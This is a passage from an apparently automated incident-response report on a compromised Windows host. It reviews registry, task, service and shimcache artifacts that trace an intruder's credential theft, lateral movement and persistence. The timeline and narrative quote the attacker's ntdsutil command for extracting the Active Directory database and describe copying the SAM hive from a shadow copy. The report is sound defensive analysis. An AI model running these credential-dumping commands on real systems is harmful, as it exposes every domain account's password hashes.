  • Why it matters: Attackers often mount shadow copies via symbolic links or custom mount points to extract credential hives or deleted files while bypassing file-in-use protections and audit trails on the live volume.
  • Alternative explanation: Legitimate backup software or administrator-created mount point for data recovery.
  • Verify: Review VSS administrative events (Event ID 12289/8229) and disk/volume mount logs to determine the origin of C:\vss39; inspect whether the snapshot was created by authorized backup tools or ad-hoc scripts.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] The spsql account browsed the local C:\Windows\Tasks directory, which houses scheduled task definitions.
  • Evidence: My Computer\C:\Windows\Tasks at 2018-07-17T15:45:18+00:00 (row 144), username spsql.
  • Why it matters: Access to the Tasks folder may indicate reconnaissance for persistence opportunities (e.g., reviewing or modifying scheduled tasks).
  • Alternative explanation: System administrator inspecting scheduled jobs during routine maintenance.
  • Verify: Correlate with Windows Event Log Microsoft-Windows-TaskScheduler/Operational for task creation, modification, or enumeration by spsql around this date.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] The rsydow account accessed the SysinternalsSuite directory both locally and from the base-hunt network share on the same day.
  • Evidence: My Computer\C:\Shares\Installers\SysInternals\SysinternalsSuite at 2018-05-14T04:09:04+00:00 (row 51) and Network\<USERS_PROPERTY_VIEW {999534523}>\base-hunt\Apps\SysinternalsSuite at 2018-05-14T04:09:04+00:00 (row 56), username rsydow.
  • Why it matters: Sysinternals includes PsExec and other utilities frequently abused for lateral movement and remote command execution; staging the suite from a network share to a local share can precede deployment across the environment.
  • Alternative explanation: Legitimate system administration or troubleshooting requiring PsExec, Procmon, or other Sysinternals tools.
  • Verify: Inspect Prefetch, Amcache, and Shimcache for execution of psexec.exe, procdump.exe, or mimikatz.exe under the rsydow profile; verify whether base-hunt is an authorized software distribution host.

Data Gaps

  • Missing access timestamps: The ts_atime and ts_btime fields are entirely empty across all records, and many root/volume entries lack ts_mtime, preventing precise first-access or last-access timeline reconstruction.
  • Explorer-only visibility: Shellbags capture only folder browsing via Windows Explorer. Command-line, PowerShell, or programmatic access to these same paths (e.g., net use, robocopy, cmd.exe directory listings) would not appear in this artifact.
  • No file-level granularity: This artifact shows directory-level browsing only; it does not reveal whether specific files (e.g., SAM, SECURITY, PsExec.exe) were read, copied, or executed.
  • Deduplication obscures frequency: 45 duplicate rows were removed, so the true frequency of repeated access to these sensitive paths cannot be determined from this extract.
  • No direct malicious binary indicators: No shellbag paths reference known malicious filenames (e.g., mimikatz, rubeus, cobalt strike); however, absence in shellbags does not mean these tools were absent on the system.
  • Large temporal gap: The dataset ends at 2018-09-06, leaving approximately eight years of activity with no visibility. There is no way to assess whether these behaviors continued, escalated, or were remediated.
  • Account context unknown: Without Active Directory or local account metadata, the expected behavior and privilege level of spsql, rsydow, rsydow-a, and administrator.shieldbase cannot be confirmed from this artifact alone.
SAM Users (sam) UNSPECIFIED
Record Count 4
Time Range Start 2016-08-10T17:13:39.305088
Time Range End 2018-04-25T20:54:23.810083

Nothing suspicious was detected in the SAM user account data for this host.

Data Gaps

  • Group membership information is absent from this artifact output; therefore, it cannot be determined whether accounts such as range_admin (row_ref 3) or simspaceadmin (row_ref 4) belong to the local Administrators group or other privileged groups.
  • The flags field provides numeric values (e.g., row_ref 1: 16; row_ref 2: 533; row_ref 3/4: 528) but no decoding legend is included in the provided data, preventing definitive assessment of enabled/disabled or password-policy states solely from this artifact.
  • Windows Security Event Log entries (e.g., Event IDs 4720, 4724, 4732) are not available to corroborate the creation of range_admin (2016-08-10T17:13:39.305088+00:00, row_ref 3) and simspaceadmin (2016-08-11T15:05:18.869457+00:00, row_ref 4), or the nearly simultaneous password resets observed on 2018-08-19 within a ~43-second window for Administrator (row_ref 1), range_admin (row_ref 3), and simspaceadmin (row_ref 4).
  • The lastlogin value of 1601-01-01T00:00:00+00:00 for range_admin (row_ref 3) and simspaceadmin (row_ref 4) cannot distinguish between accounts that have never been used and accounts for which interactive logon history has been cleared.
  • No host asset inventory or baseline is provided, so the authorization and expected status of the non-default local accounts range_admin and simspaceadmin cannot be conclusively validated from this artifact alone.
  • Evidence of credential-access tooling (e.g., Mimikatz-like behavior), malicious program execution, lateral movement, or exfiltration is not contained within SAM user metadata; these DFIR checks are Not Assessable from this artifact alone.
Network History (network_history) UNSPECIFIED
Record Count 3
Time Range Start 2018-04-25T21:43:15.000702
Time Range End 2018-04-25T21:43:18.000077

Nothing suspicious detected in this artifact. All three network profiles are associated with the expected corporate domain (shieldbase.lan) and contain no rogue SSIDs, unexpected DNS suffixes, public hotspots, or unknown gateway MACs.

Data Gaps

  • Limited visibility into incident window: This artifact contains only three unique network profiles, all created on 2018-04-25 and last connected between 2018-04-25 and 2018-08-08. If the suspected compromise occurred outside this range, this artifact provides no coverage.
  • No user or session attribution: NetworkList profiles do not record which user or process initiated the connection, preventing correlation with suspicious logons or execution.
  • Absence of traffic or protocol evidence: The artifact confirms network profile existence and last-connection timestamps but cannot reveal active traffic, data transfer, VPN usage, or lateral-movement paths.
  • Empty gateway MAC in one record: Row 2 (shieldbase.lan, last_connected 2018-08-08T14:08:11.000319-04:00) has no default_gateway_mac and a <none> DNS suffix; the reason for the missing values (disconnected adapter, different interface, or data loss) cannot be determined from this artifact alone.
  • Cannot rule out deleted profiles: Attackers or administrators may have removed network profiles from the registry; absence of profiles does not prove the host never connected to rogue networks.
  • Recommended corroboration: Correlate with SRUM, WLAN AutoConfig event logs (Event IDs 8001/8002/6100), DHCP lease logs, DNS query logs, VPN client logs, and firewall/proxy flow records to reconstruct actual network activity and identify anomalous connections not reflected here.
base-rd-01-cdrive

Image Summary

Executive Summary

BASE-RD-01 is compromised with high confidence and was used as an interactive command-and-control staging point within the shieldbase.lan environment. Between August and September 2018, an attacker operating under the spsql account—normally a non-interactive service identity—extracted the Active Directory database (NTDS.dit) and SAM hive from the Domain Controller via PowerShell remoting, browsed administrative shares on at least nine remote hosts, and hid stolen data in masqueraded directories such as C:\Windows\System\Backup. The host also contains persistent attacker tooling, including a non-standard kernel driver (mnemosyne.sys) and a scheduled task that executes a batch file from C:\Windows\Temp. This is a critical-severity incident because domain-wide credentials and sensitive project data were collected; the system must be isolated immediately and domain credentials treated as exposed.

---

Timeline

  • 2018-05-08T14:39:06ZRun Keys — Domain admin administrator.shieldbase configured OneDrive to auto-start at interactive logon (row 14). Confidence: MEDIUM.
  • 2018-05-08T21:07ZShimcache — Attacker tooling staged in C:\ProgramData\staging\install_wormhole\ and a spoofed Microsoft Advanced API directory, including 7za.exe and a WinPcap-Nmap installer (rows 490, 482, 476). Confidence: HIGH.
  • 2018-08-16T00:24:25ZRun Keys — User tdungan configured Dashlane password manager to auto-start (rows 9–10). Confidence: MEDIUM.
  • 2018-08-19T03:59ZSAM Users — Passwords for local range_admin (RID 1003) and built-in Administrator changed 27 seconds apart (row_ref 1, row_ref 6). Confidence: MEDIUM.
  • 2018-08-24T15:35ZShimcacheBrowsingHistoryView.exe present on disk (row 70). Confidence: MEDIUM.
  • 2018-08-25T16:44:33ZScheduled Tasks — Task "Collect Background Statistics" created under author shieldbase\spsql to execute C:\Windows\Temp\1.bat (row_ref 5, row_ref 6). Confidence: HIGH.
  • 2018-08-25T19:48ZSAM Users — Failed logon attempt against disabled Guest account (row_ref 2). Confidence: LOW.
  • 2018-08-28T21:43ZBrowser Historyspsql accessed confidential documents inside tdungan’s local OneDrive folder and searched for the internal SharePoint host base-sp (rows 480, 496). Confidence: HIGH.
  • 2018-08-30T21:39ZShimcache — Single-letter binaries (pa.exe, p.exe, pb.exe) and a masquerading csrss.exe placed in local and remote Windows\Temp\Perfmon directories (rows 18, 19, 37, 39). Confidence: HIGH.
  • 2018-09-05T12:03Z–12:18ZUserAssistspsql interactively executed cmd.exe and powershell.exe on BASE-RD-01 (rows 88, 90). Confidence: HIGH.
  • 2018-09-05T12:34:13ZPowerShell History — From BASE-RD-01, an interactive session opened PowerShell remoting to BASE-DC, extracted NTDS.dit to C:\Windows\Temp\perfmon, copied SAM from Volume Shadow Copy, and sequentially moved the stolen files into $Recycle.Bin and then C:\Windows\System\Backup (rows 1, 4, 6, 10, 25–30, 33, 42, 46, 48). Confidence: HIGH.
  • 2018-09-05T13:15:53ZRecycle Binspsql deleted 51 research documents from C:\Windows\Logs\SysBackup\06-11\Research\ (rows 1–51). Confidence: HIGH.
  • 2018-09-05T13:17Z–13:44ZBrowser Historyspsql browsed the remote admin share \\172.16.4.6\C$\Windows\Logs\WindowsServerBackup and visited https://www.sendspace.com/ (rows 487–494, 501). Confidence: HIGH.
  • 2018-09-05T14:05:28ZShimcacheri.exe appeared simultaneously in spsql’s Downloads folder and on remote admin shares \\172.16.4.6 and \\172.16.4.5 (rows 7–9). Confidence: HIGH.
  • 2018-09-05T14:05Z–14:29ZUserAssist / Jump Lists / Shellbagsspsql executed the Remote Desktop client and browsed administrative shares across numerous internal hosts, including paths labeled Project Mayhem, Project P.E.G.A.S.U.S, and MH_Eyes_Only (UserAssist row 89; Jump Lists rows 107, 124, 127–129, 136, 140, 144–145, 151–153, 162–163; Shellbags rows 11, 18, 20, 34, 39, 44, 49, 54, 59, 64). Confidence: HIGH.
  • 2018-09-05T18:45ZBAM/DAMmstsc.exe executed (row_ref 34). Confidence: MEDIUM (user unattributed).
  • 2018-09-06T17:25Z–20:25ZBAM/DAM — System-level execution of cmd.exe, powershell.exe, and conhost.exe (row_ref 33, 35, 36). Confidence: MEDIUM (user unattributed).
  • 2018-09-06T18:28ZServices — Auto-start callback service "F-Response Subject" registered, pointing to base-hunt.shieldbase.lan:5682 (row_ref 123). Confidence: MEDIUM (may be legitimate forensic tooling; unconfirmed).
  • 2018-09-06T20:26ZServices — Anomalous kernel driver **mnemosyne.sys** registered in C:\Windows; blank mfeavfk01 driver registered 1.2 seconds later (row_ref 254, row_ref 238). Confidence: HIGH.

---

IOC Status

No specific external IOCs (hashes, IPs, or domains) were provided in the investigation context.

---

Attack Narrative

Initial AccessInferred, insufficient direct evidence. The attacker likely obtained credentials for the spsql account or an equivalently privileged identity, then established a foothold on BASE-RD-01. A single failed logon against the disabled Guest account on 2018-08-25 (SAM row_ref 2) may indicate incidental password spraying, but it does not conclusively explain the initial compromise.

ExecutionConfirmed. The spsql account executed interactive cmd.exe and powershell.exe sessions on BASE-RD-01 (UserAssist rows 88, 90). PowerShell remoting was used to open sessions on the Domain Controller (BASE-DC) where ntdsutil and shadow-copy symbolic links were employed (PowerShell History rows 1, 10). Additional attacker utilities—including 7za.exe, BrowsingHistoryView.exe, and Nmap/WinPcap components—were staged on disk months earlier (Shimcache rows 476, 482, 490, 70).

PersistenceConfirmed. A custom scheduled task named "Collect Background Statistics" executes C:\Windows\Temp\1.bat under the spsql identity (Scheduled Tasks row_ref 5, 6). A second task, **CreateExplorerShellUnelevatedTask**, uses the non-standard author ExplorerShellUnelevated to launch Explorer.EXE /NOUACCHECK under the domain Administrator principal (Scheduled Tasks row_ref 8, 9). A non-standard kernel driver, **mnemosyne.sys**, was registered on 2018-09-06 (Services row_ref 254). The custom program SystemInit-dev.exe and its installer also appear in administrator-related paths (Shimcache rows 629, 518).

Privilege EscalationConfirmed. The mnemosyne.sys driver is a kernel-level mechanism (Services row_ref 254). The CreateExplorerShellUnelevatedTask explicitly suppresses UAC verification (Scheduled Tasks row_ref 9). By extracting NTDS.dit, the attacker obtained password hashes for all domain accounts, enabling further privileged access.

Lateral MovementConfirmed. spsql interactively browsed C$ administrative shares on at least nine remote hosts—including what appears to be the Domain Controller (172.16.4.6 / base-dc), a file server (172.16.4.5), and multiple workstations/RDS hosts—via Windows Explorer (Shellbags rows 11, 18, 20, 34, 39, 44, 49, 54, 59, 64; Jump Lists rows 107, 124, 127–129, 136, 162–163). Identical ri.exe artifacts were placed on remote shares at the same second they appeared in spsql’s local Downloads folder (Shimcache rows 7–9). mstsc.exe was also executed (BAM row_ref 34).

CollectionConfirmed. The attacker extracted the domain database with ntdsutil "ac i ntds" "ifm" "create full c:\windows\temp\perfmon" (PowerShell History rows 30, 33) and copied the SAM hive from a Volume Shadow Copy (PowerShell History rows 4, 6). The stolen files were then hidden inside $Recycle.Bin and relocated to C:\Windows\System\Backup (PowerShell History rows 42, 46, 48). spsql also browsed sensitive project folders such as Project Mayhem, Project P.E.G.A.S.U.S, and MH_Eyes_Only on remote backups (Shellbags / Jump Lists).

ExfiltrationSuggested but not confirmed. spsql visited sendspace.com (Browser History row 501) shortly after browsing remote admin shares, which is consistent with staging for upload. OneDrive auto-start entries for both spsql and administrator.shieldbase (Run Keys rows 13, 14) may represent cloud-sync staging, but no upload confirmations or proxy logs are available. The bulk deletion of 51 research documents by spsql on 2018-09-05 (Recycle Bin rows 1–51) could also reflect anti-forensic cleanup prior to exfiltration.

---

Gaps and Unknowns

  • Initial access vector is unknown. No phishing artifacts, exploited vulnerability evidence, or explicit credential-theft logs (e.g., Mimikatz in memory) were captured in the provided artifacts.
  • PowerShell history lacks per-command timestamps. All 50 rows share the identical file modification time 2018-09-05T12:34:13Z, so the exact duration and sequencing of commands within that session cannot be resolved without PowerShell operational logs or Windows Event ID 4688.
  • Execution vs. presence is unproven for several artifacts. Shimcache, Amcache, and Run Keys prove a binary existed or was configured, but they do not prove it executed. Prefetch, EDR telemetry, or Security Event ID 4688 are needed.
  • F-Response Subject service legitimacy is unverified. While the naming and callback to base-hunt.shieldbase.lan suggest a commercial forensic agent, authorization must be confirmed; if unauthorized, it is a persistent SYSTEM-level backdoor.
  • No Windows Security EVTX logs are available. This prevents attribution of the BAM/DAM cmd.exe/powershell.exe executions on 2018-09-06 to a specific user, confirmation of spsql logon type (interactive vs. network), and correlation of SMB sessions to remote hosts.
  • tdungan anomalies are unexplained. ProcDump placed inside Dashlane’s application directory (Amcache row_ref 315), AnchorFree VPN components (Amcache row_ref 394), and a Bitcoin address lookup (Browser History rows 1033–1036) may indicate a separate compromise, insider activity, or benign personal use; no cross-artifact pattern ties these directly to the spsql-centric intrusion.
  • Anti-forensic indicators are present but unresolved. administrator.shieldbase launched Sysinternals SDelete from a network share (UserAssist row 114); its target and whether data was irrecoverably wiped are unknown. The identical Recycle Bin deletion timestamps (rows 1–51) suggest bulk deletion but do not reveal the method.
  • File integrity data is absent. No hashes or signatures are available for mnemosyne.sys, ri.exe, 1.bat, or the NTDS.dit extraction output, preventing confirmation of known-malicious status.

---

Recommended Next Steps

Immediate Containment

  1. Isolate BASE-RD-01 from the production network to prevent further lateral movement or exfiltration.
  2. **Disable the spsql account** and terminate all active domain sessions associated with it.
  3. Force password resets for administrator.shieldbase, range_admin, the built-in local Administrator, and tdungan; treat all domain credentials as potentially compromised due to the NTDS.dit extraction.
  4. **Block sendspace.com** at the perimeter and inspect proxy/web-gateway logs for HTTP POST/upload traffic from BASE-RD-01 around 2018-09-05T13:44Z.

Investigation & Verification

  1. **On BASE-DC, inspect C:\Windows\System\Backup and C:\$Recycle.Bin** for residual NTDS.dit, SYSTEM, and SECURITY hive files (per PowerShell History rows 46, 48).
  2. **Retrieve and hash C:\Windows\Mnemosyne.sys and C:\Windows\Temp\1.bat**; scan with AV/YARA and check against threat-intel feeds.
  3. Collect Windows Security EVTX from BASE-RD-01 and BASE-DC for Event IDs 4624, 4648, 4688, 5140, and 7045 spanning 2018-09-05 to 2018-09-06 to confirm logon sources, process lineage, and service installation actors.
  4. Verify F-Response authorization with the incident-response lead. If unauthorized, treat subject_srv.exe as a backdoor and remove the service.
  5. Audit all hosts in the 172.16.x.x range for the existence and contents of C:\Windows\Temp\Perfmon, particularly matching ri.exe, csrss.exe, p.exe, pa.exe, and pb.exe hashes (Shimcache rows 7–9, 18, 19, 37, 39).
  6. **Interview tdungan** regarding the ProcDump binary inside the Dashlane folder, the Dashlane VPN installation, and the Bitcoin address search to determine whether that account is independently compromised.
  7. Review Volume Shadow Copies and USN Journal on BASE-DC and BASE-RD-01 for evidence of file deletion, timestomping, or further staging between 2018-09-05 and imaging.

Per-Artifact Findings

Run/RunOnce Keys (runkeys) MEDIUM
Record Count 16
Time Range Start 2018-05-04T18:14:47.318216
Time Range End 2018-08-28T21:41:34.684645

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Service account spsql has an HKCU Run entry launching OneDrive, suggesting interactive logon or profile use inconsistent with a typical service account.
  • Evidence: row 13, ts 2018-08-28T21:41:34.684645+00:00, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, command C:\Users\spsql\AppData\Local\Microsoft\OneDrive\OneDrive.exe with args /background.
  • Why it matters: Consumer cloud-sync tools on a service account create an exfiltration path and may indicate account compromise or misuse on an RDS host.
  • Alternative explanation: spsql may be a poorly named interactive user rather than a true non-interactive service account.
  • Verify: Audit Windows Security Log for Event ID 4624/4648 logons for spsql and inspect the contents of C:\Users\spsql\OneDrive.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Domain admin account administrator.shieldbase has an HKCU Run entry launching OneDrive, indicating interactive logon and potential data staging.
  • Evidence: row 14, ts 2018-05-08T14:39:06.640173+00:00, key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, command C:\Users\administrator.shieldbase\AppData\Local\Microsoft\OneDrive\OneDrive.exe with args /background.
  • Why it matters: Domain admins should rarely log on interactively to RDS hosts; OneDrive provides a direct exfiltration channel and increases credential exposure.
  • Alternative explanation: Administrator manually installed OneDrive for legitimate file access.
  • Verify: Correlate with interactive logon events for administrator.shieldbase on this host and review OneDrive sync logs and recent file activity.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Built-in service accounts LocalService and NetworkService contain HKCU Run keys for OneDriveSetup.exe, which is anomalous for non-interactive built-in principals.
  • Evidence: row 6 (LocalService, ts 2018-05-04T18:14:49.005667+00:00), row 7 (NetworkService, ts 2018-05-04T18:14:47.318216+00:00), key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, command C:\Windows\SysWOW64\OneDriveSetup.exe with args /thfirstsetup.
  • Why it matters: Built-in service accounts do not normally run per-user software setup routines; may indicate profile manipulation or anomalous execution context.
  • Alternative explanation: Could be an artifact of operating system deployment/sysprep capturing these profiles during imaging.
  • Verify: Check if these profiles were ever loaded interactively and inspect the profile creation/modification timestamps under C:\Windows\ServiceProfiles.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Password manager Dashlane is configured to auto-start for user tdungan on an enterprise RDS host.
  • Evidence: row 9 (Dashlane, ts 2018-08-16T00:24:25.090315+00:00), row 10 (DashlanePlugin, same ts), key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, commands under C:\Users\tdungan\AppData\Roaming\Dashlane\.
  • Why it matters: Personal password managers are uncommon on managed RDS hosts and may be targeted for credential access.
  • Alternative explanation: User-installed personal productivity software.
  • Verify: Confirm whether Dashlane is authorized software and review tdungan account activity and browser credential stores.

Data Gaps

  • No file hashes, digital signatures, or binary metadata are available in this artifact; cannot confirm whether OneDrive, Dashlane, or other listed executables are unmodified.
  • Registry LastWrite timestamps are present, but exact creation times, the user context that created each value, and whether prior entries were deleted require Registry transaction logs (RegBack, LOG1/LOG2) or system event logs.
  • Absence of obvious malware (e.g., script hosts, encoded commands, LOLBins) in the current Run/RunOnce keys does not rule out persistence elsewhere; no evidence of anti-forensics or log clearing is visible here, but this artifact does not capture it.
  • Cannot assess whether the anomalous service/domain admin entries were created by legitimate software deployment, user action, or an attacker without correlating with Windows Event Logs (4624/4648/4688), Prefetch, Amcache, and user profile folder timelines.
Scheduled Tasks (tasks) HIGH
Record Count 677
Time Range Start 2005-06-23T21:48:00
Time Range End 2026-06-13T06:14:10.178895

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Custom scheduled task "Collect Background Statistics" executes a batch file from the Windows Temp directory under a domain user identity, indicating likely malicious persistence.
  • Evidence: row_ref 5 (date 2018-08-25T16:44:33+00:00, author shieldbase\spsql, user_id \spsql, enabled True) and row_ref 6 (action_type Exec, command C:\Windows\Temp\1.bat).
  • Why it matters: Running a batch script from a temporary folder via a generically named scheduled task is a well-known attacker persistence technique and is not characteristic of legitimate software deployment.
  • Alternative explanation: Extremely unlikely; no standard Windows or enterprise application installs scheduled tasks that execute scripts from \Windows\Temp.
  • Verify: Retrieve and analyze the contents of C:\Windows\Temp\1.bat; review Task Scheduler Operational Event Logs (Event IDs 129/201/102/140) for execution history; check file system timestamps on the task XML and the batch file.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Scheduled task CreateExplorerShellUnelevatedTask is configured to run Explorer.EXE with a UAC-bypass flag under the domain Administrator principal using a non-standard author name.
  • Evidence: row_ref 8 (author ExplorerShellUnelevated, user_id shieldbase\Administrator, enabled True) and row_ref 9 (command C:\WINDOWS\Explorer.EXE, arguments /NOUACCHECK).
  • Why it matters: The /NOUACCHECK argument suppresses UAC verification, and the non-Microsoft author combined with a domain admin execution context suggests a privilege escalation or persistence mechanism.
  • Alternative explanation: Could be a rare Windows internal maintenance artifact, but the root task path, author string, and domain admin context are atypical for standard Windows tasks.
  • Verify: Inspect the task XML definition for triggers; validate the digital signature and hash of C:\WINDOWS\Explorer.EXE; correlate with Security Event Logs for process creation events.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

  • Execution history unavailable: The last_run_date field is empty for all 677 records, so it is impossible to determine whether any task (including the suspicious ones) has executed recently or ever.
  • Trigger details absent: The CSV does not contain trigger definitions (e.g., boot, logon, idle, schedule frequency), so the activation conditions for persistence tasks cannot be assessed from this artifact alone.
  • Missing timeline context: Many records have empty date fields, and no incident timeframe was provided, making it difficult to correlate task creation with a suspected intrusion window.
  • Script content unavailable: The referenced batch file C:\Windows\Temp\1.bat is not included in this artifact; its contents, origin, and file system timestamps are required to confirm malicious intent.
  • No Event Log correlation: Task Scheduler Operational and Security Event Logs are not present here, so execution success/failure, process lineage, and user session context are unknown.
  • COM handler opacity: Tasks with action_type ComHandler (96 records) have empty action/args fields, obscuring what DLL/method is actually invoked.
Services (services) HIGH
Record Count 625
Time Range Start 2018-05-04T18:15:09.052670
Time Range End 2018-09-06T20:35:12.661104

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Anomalous kernel driver registered as "mnemosyne" with native NT path prefix.
  • Evidence: row_ref 254, ts 2018-09-06T20:26:36.288359+00:00, name mnemosyne, displayname mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, start Manual (3), type Kernel Device Driver (0x1), blank description and objectname.
  • Why it matters: A non-standard, descriptively blank kernel driver deployed directly to C:\Windows (not System32\drivers) using a \??\ native path prefix. Kernel drivers are a common persistence and privilege-escalation mechanism, and this name does not correspond to any known Windows or major vendor component.
  • Alternative explanation: A rare but legitimate third-party hardware or software driver using an unusual naming convention.
  • Verify: Inspect the on-disk file C:\windows\Mnemosyne.sys for a digital signature and hash; review System/Setup EVTX logs and Event ID 7045 for the exact installation time and install user; check if the file is present in a known-good hash database.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Auto-start "F-Response Subject" service running as LocalSystem with persistent network callback.
  • Evidence: row_ref 123, ts 2018-09-06T18:28:30.203453+00:00, name F-Response Subject, imagepath C:\windows\subject_srv.exe, imagepath_args -s "base-hunt.shieldbase.lan:5682" -l 3262 -v "F-Response Subject" -k "155522845", objectname LocalSystem, start Auto Start (2), type Service - Own Process (0x10).
  • Why it matters: Auto-start, SYSTEM-privilege service maintaining a callback to base-hunt.shieldbase.lan:5682. If placed by an intruder, this is a persistent backdoor. Even if legitimate forensic tooling, it is a high-privilege network-persistent mechanism that must be accounted for during containment.
  • Alternative explanation: Likely a legitimate F-Response forensic collection agent deployed by a hunt team (the callback hostname base-hunt and service naming match the commercial product).
  • Verify: Confirm with the incident response lead whether F-Response was authorized on BASE-RD-01; validate the digital signature of C:\windows\subject_srv.exe; correlate the installation timestamp with EVTX Event ID 7045.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] WinPcap packet-capture driver (npf) set to auto-start.
  • Evidence: row_ref 315, ts 2018-05-08T21:07:57.173367+00:00, name npf, displayname NetGroup Packet Filter Driver, imagepath system32\drivers\npf.sys, start Auto Start (2), type Kernel Device Driver (0x1).
  • Why it matters: The NPF driver enables raw network packet capture and is commonly used with reconnaissance tools such as Nmap or Wireshark. On an RDS host, this may indicate unauthorized network sniffing or lateral-movement preparation.
  • Alternative explanation: Legitimately installed by administrators for troubleshooting or monitoring.
  • Verify: Check installed software lists for Wireshark, Npcap, or Nmap; review user execution history and prefetch for packet-capture utilities.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Blank-imagepath McAfee driver variant "mfeavfk01" registered seconds after the anomalous "mnemosyne" driver.
  • Evidence: row_ref 238, ts 2018-09-06T20:26:37.553988+00:00, name mfeavfk01, displayname McAfee Inc., type Kernel Device Driver (0x1), start Manual (3), with empty imagepath, description, objectname, and servicedll fields; registered approximately 1.2 seconds after row 254 (mnemosyne).
  • Why it matters: The name mimics the legitimate mfeavfk driver (row 237) but carries a numeric suffix and lacks any binary path or descriptive metadata, making it anomalous within the McAfee fleet on this host. The near-instantaneous registration with mnemosyne warrants scrutiny.
  • Alternative explanation: A data-parsing artifact, a partially failed McAfee update, or a legitimate McAfee driver variant not fully written to the registry key inspected.
  • Verify: Check C:\Windows\System32\drivers\ for mfeavfk01.sys; cross-reference with McAfee ePO installation logs; compare the registry key directly to rule out collection gaps.

Data Gaps

  • Digital signature / hash data absent. This artifact contains no code-signing or file-hash information, so the legitimacy of Mnemosyne.sys, subject_srv.exe, or npf.sys cannot be verified from services data alone.
  • No EVTX Event ID 7045 correlation. The exact installation events for the suspicious services are not present here; the registry timestamps show last-write/modification times, not necessarily the original install time.
  • Blank fields limit assessment. Row 238 (mfeavfk01) and several per-user service instances have empty imagepath, type, or objectname fields, preventing full evaluation of those entries.
  • No runtime state. This is a static service-configuration snapshot; it does not indicate whether mnemosyne, F-Response Subject, or npf were actually loaded into memory at the time of imaging.
  • Missing failure-action and ServiceDll data. Fields such as FailureActions and ServiceDll are not included, which would be needed to detect failure-action persistence or DLL-hijacking techniques.
  • Temporal clustering unexplained. A dense burst of service/driver timestamps occurs on 2018-09-06 between ~20:25 and 20:35 (including both benign system drivers and the suspicious mnemosyne entry). Without System/boot logs, it is unclear whether this represents a normal post-boot PnP enumeration or attacker activity leveraging a reboot.
Shimcache (shimcache) HIGH
Record Count 796
Time Range Start 1601-01-01T00:00:00
Time Range End 2018-09-06T19:51:00.894676

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Lateral movement artifacts present on multiple remote administrative shares, indicating cross-host staging and probable tool deployment.
  • Evidence: 2018-09-05T14:05:28.993555+00:00 row 7 (\172.16.4.6\c$\Windows\Temp\perfmon\ri.exe); same timestamp row 8 (\172.16.4.5\c$\Windows\Temp\perfmon\ri.exe); 2018-08-31T19:59:34.042963+00:00 row 12 (\172.16.4.6\c$\Windows\Logs\WindowsServerBackup\7.15\csrss.exe); same timestamp row 14 (\172.16.7.15\c$\Windows\Temp\perfmon\csrss.exe); 2018-08-31T23:28:16.404552+00:00 row 16 (\172.16.4.6\c$\Windows\Logs\WindowsServerBackup\6.14\volrest.exe); same timestamp row 17 (\172.16.6.14\c$\Windows\Temp\Perfmon\volrest.exe).
  • Why it matters: Executables placed on remote C$ shares in non-standard directories (Temp\perfmon, Logs\WindowsServerBackup) with masquerading names (csrss.exe, volrest.exe) and single short names (ri.exe) are characteristic of attacker lateral movement and remote tool staging.
  • Alternative explanation: None plausible; legitimate software does not deploy via admin shares into these paths under these filenames.
  • Verify: Correlate with Windows Security EVTX logon events (4624/4648) and SMB logs from BASE-RD-01 to 172.16.4.5, 172.16.4.6, 172.16.6.14, and 172.16.7.15; recover binaries from remote hosts for analysis.
  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading system processes and single-letter binaries staged in local Windows\Temp directories.
  • Evidence: 2018-04-10T19:29:48+00:00 row 5 (C:\windows\subject_srv.exe); 2018-08-30T21:39:05.281796+00:00 row 18 (\172.16.6.11\c$\Windows\Temp\Perfmon\pa.exe); 2018-08-30T22:14:02.349331+00:00 row 19 (\172.16.6.11\c$\Windows\Temp\Perfmon\p.exe); same timestamp row 37 (c:\windows\temp\perfmon\p.exe); 2018-06-29T08:53:19.377167+00:00 row 38 (c:\windows\temp\perfmon\csrss.exe); 2018-08-30T21:39:05.281796+00:00 row 39 (c:\windows\temp\perfmon\pb.exe); 2018-08-24T15:35:47.195112+00:00 row 70 (c:\Windows\Temp\BrowsingHistoryView.exe).
  • Why it matters: csrss.exe does not belong in Temp\perfmon; single-letter filenames (p.exe, pa.exe, pb.exe) and an unknown subject_srv.exe in the Windows root are consistent with malware staging, process masquerading, and reconnaissance tooling (BrowsingHistoryView).
  • Alternative explanation: No legitimate Windows or enterprise software deploys to these locations with these names.
  • Verify: Extract and hash the files if resident on disk; scan with AV/YARA; review Prefetch/Amcache for execution evidence.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious "install_wormhole" staging directory containing custom installers and archival/scanning utilities.
  • Evidence: 2018-05-08T21:07:10.124584+00:00 row 491 (C:\ProgramData\staging\7za.exe); 2018-05-08T21:07:25.797113+00:00 row 490 (C:\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe); 2018-05-08T21:07:43.735750+00:00 row 482 (C:\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe); 2018-03-02T20:43:58+00:00 row 474 (C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe); 2018-02-26T22:47:32+00:00 row 476 (C:\Program Files (x86)\Microsoft Advanced API 32\winpcap-nmap-4.13.exe).
